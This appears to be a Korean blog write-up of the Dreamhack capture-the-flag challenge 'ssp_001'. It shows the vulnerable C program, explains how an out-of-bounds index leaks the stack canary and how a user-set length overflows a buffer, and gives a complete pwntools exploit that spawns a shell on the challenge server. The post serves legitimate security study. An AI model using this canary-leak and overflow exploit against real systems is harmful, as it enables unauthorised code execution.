Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- 머신러닝
- 파이썬
- 생활코딩
- Javascript
- BOJ
- 기계학습
- 숙명여자대학교 정보보안 동아리
- The Loard of BOF
- Python
- HTML
- BOJ Python
- 웹페이지 만들기
- SWEA
- PHP 웹페이지 만들기
- siss
- hackerrank
- 드림핵
- 자료구조 복습
- c++
- 풀이
- C언어
- lob
- hackctf
- WarGame
- 백준
- Sookmyung Information Security Study
- 숙명여자대학교 정보보안동아리
- XSS Game
- CSS
- c
Archives
- Today
- Total
혜랑's STORY
[System Hacking STAGE 5] ssp_001 본문
ssp_001.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
코드를 자세히 살펴보자.
- get_shell()
void get_shell() {
system("/bin/sh");
}
최종적으로 얻어야 할 셸을 불러주는 함수이다.
- print_box()
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
box의 인덱스 번호와 값을 출력하고 있다.
- main()의 while문
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
P의 취약점
원하는 인덱스의 값을 출력해준다. 즉, idx와 canary의 offset을 구하면 카나리 릭이 가능하다.
E의 취약점
name의 크기는 정해져있는 반면, name_len의 크기는 사용자가 지정할 수 있기 때문에 정해진 name의 크기보다 더 입력하여 오버플로우를 발생시켜 코드의 흐름을 변경할 수 있다.
즉, P로 카나리 릭을 한 후 E를 통해 오버플로우를 일으키고 get_shell로 프로그램의 흐름을 변경하면 된다.
gdb로 확인한 결과 카나리와 return address 사이에는 0x8 만큼의 dummy가 필요하는 것을 알 수 있었다.
이를 바탕으로 익스플로잇 코드를 작성해보자.
from pwn import *
#context.log_level = 'debug'
#p = process('./ssp_001')
p = remote('host1.dreamhack.games', '14244')
elf = ELF('./ssp_001')
p.sendlineafter('> ', 'F')
p.sendlineafter('box input : ', 'A'*0x40)
get_shell = elf.symbols['get_shell']
print('[+] get_shell : ' + hex(get_shell))
canary = b''
for idx in range(4): # canary size : 4
p.sendafter('> ', 'P')
p.sendlineafter('Element index : ', str(0x80 + idx))
p.recvuntil('is : ')
canary = p.recvuntil('\n')[:2] + canary
canary = int(canary, 16)
print('[+] canary : ' + hex(canary))
p.sendafter('> ', 'E')
payload = b'A' * 0x40
payload += p32(canary)
payload += b'B' * 0x8
payload += p32(get_shell)
#print(payload.decode('utf-8', 'backslashreplace'))
payload_len = len(payload.decode('utf-8', 'backslashreplace'))
p.sendlineafter('Name Size : ', str(payload_len))
p.sendlineafter('Name : ', payload)
p.interactive()
성공적으로 플래그를 획득하였다.
성공~
'무지성 공부방 > Dreamhack SystemHacking' 카테고리의 다른 글
[System Hacking STAGE 6] Background: Library - Static Link vs. Dynamic Link (0) | 2022.02.03 |
---|---|
[System Hacking STAGE 6] Mitigation: NX & ASLR (0) | 2022.02.03 |
[System Hacking STAGE 5] ssp_000 (0) | 2022.01.30 |
[System Hacking STAGE 5] Exploit Tech: Return to Shellcode (0) | 2022.01.27 |
[System Hacking STAGE 5] Mitigation: Stack Canary (0) | 2022.01.27 |